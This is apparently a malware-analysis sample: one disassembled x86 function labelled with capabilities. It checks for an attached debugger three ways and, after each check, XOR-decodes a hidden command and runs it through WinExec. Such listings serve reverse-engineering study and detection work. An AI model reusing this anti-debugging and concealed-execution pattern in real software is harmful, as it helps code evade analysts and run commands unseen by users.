Function at 0x10003c40
Capabilities:
Check for debugger via api
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x48
push esi
push edi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov edi, dword [0x11327d64]
movaps xmm3, xmmword [0x10196d40]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
test eax, eax
je 0x10003dd7
movups xmm0, xmmword [0x10196c2c]
mov al, byte [0x10196c3c]
xor edx, edx
mov byte [ebp - 0x30], al
mov dword [ebp - 4], edx
movups xmmword [ebp - 0x40], xmm0
cmp edi, 2
jl 0x10003da1
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm4, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmmword [ebp - 0x20], xmm0
mov ecx, dword [ebp - 0x20]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x3c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x3c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x10003cc0
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x10003dcf
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x40], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10003da1
push 0
lea eax, [ebp - 0x40]
push eax
call esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp eax, 1
jne 0x10003f67
cmp dword [ebp - 8], eax
jne 0x10003f67
movups xmm0, xmmword [0x10196c40]
mov al, byte [0x10196c50]
xor edx, edx
mov byte [ebp - 0x30], al
mov dword [ebp - 4], edx
movups xmmword [ebp - 0x40], xmm0
cmp edi, 2
jl 0x10003f31
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm4, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm3, xmmword [0x10196d40]
movaps xmmword [ebp - 0x20], xmm0
mov ecx, dword [ebp - 0x20]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x3c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x3c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x10003e50
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x10003f5f
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x40], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10003f31
push 0
lea eax, [ebp - 0x40]
push eax
call esi
push 0x10196aa0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10004114
push 0x10196aac
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10004114
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 4]
push eax
push 7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
js 0x10004114
cmp dword [ebp - 4], 0xffffffff
jne 0x10004114
movups xmm0, xmmword [0x10196c54]
mov al, byte [0x10196c64]
xor ecx, ecx
mov byte [ebp - 0x30], al
movups xmmword [ebp - 0x40], xmm0
cmp edi, 2
jl 0x100040e0
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm3, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm4, xmmword [0x10196d40]
movaps xmmword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x20]
nop
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x3c]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x3c], xmm2
add ecx, 8
cmp ecx, 0x10
jl 0x10004000
cmp ecx, 0x11
jge 0x10004108
nop
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x36
sub dl, al
add dl, 0x37
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 0x11
jl 0x100040e0
push 0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret